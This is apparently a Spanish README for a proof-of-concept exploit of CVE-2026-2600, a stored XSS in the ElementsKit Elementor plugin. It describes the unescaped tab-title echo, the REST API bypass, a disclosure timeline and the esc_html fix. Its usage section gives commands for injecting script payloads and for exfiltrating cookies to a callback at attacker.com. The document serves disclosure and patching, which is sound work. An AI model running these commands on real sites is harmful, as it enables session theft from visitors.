
Prueba de concepto de exploit para CVE-2026-2600, un XSS almacenado en ElementsKit Elementor Addons <= 3.7.9, que permite a Contribuidores autenticados inyectar scripts arbitrarios mediante datos de Elementor manipulados.
| CVSS | 6.4 MEDIO |
| Afectado | <= 3.7.9 |
| Parcheado | 3.8.0 |
| Rol mínimo | Contributor (edit_posts) |
| Vector | Red / Complejidad baja / Privilegios bajos |
El widget Simple Tab renderiza los títulos de las pestañas con HTML mediante echo pero sin escape de salida. En widgets/tab/tab.php, el bucle de renderizado hace:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
El editor de Elementor sanea la entrada en el lado del cliente, pero el endpoint de la API REST (/wp-json/wp/v2/posts/{id}) acepta el campo meta _elementor_data directamente y omite esa capa por completo.
Un Contributor autenticado puede hacer PATCH a una entrada con un payload JSON de Elementor manipulado que establece ekit_tab_title a HTML arbitrario. Debido a que el valor se almacena literalmente en _elementor_data y se muestra con echo sin esc_html() en el momento del renderizado, el script se ejecuta en el navegador de cada visitante cuando la página se carga.
Cualquier Contributor puede:
Más de 400K instalaciones activas estaban afectadas en el momento de la divulgación.
pip install requests
python3 poc.py https://target.com contributor p4ss
El script se autentica a través de HTTP, obtiene el nonce REST del editor de administración, crea una entrada en borrador, aplica PATCH a _elementor_data con el payload XSS incrustado en el campo ekit_tab_title, y publica la entrada. La salida confirma si el payload está activo en el código fuente de la página.
# Payload personalizado
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# Exfiltración de cookies con callback
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# Modo consola interactivo
python3 console_poc.py
| Fecha | Evento |
|---|---|
| Enero 2026 | Descubierto mediante revisión de diff SVN. PoC confirmado. |
| Enero 2026 | Reportado a Patchstack Alliance con informe completo y PoC. |
| Marzo 2026 | Wpmet publicó la corrección en v3.8.0. |
| Abril 2026 | CVE-2026-2600 publicado. Se asignó CVSS 6.4 MEDIO. |
Wpmet añadió esc_html() alrededor de la salida del título de la pestaña en widgets/tab/tab.php:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';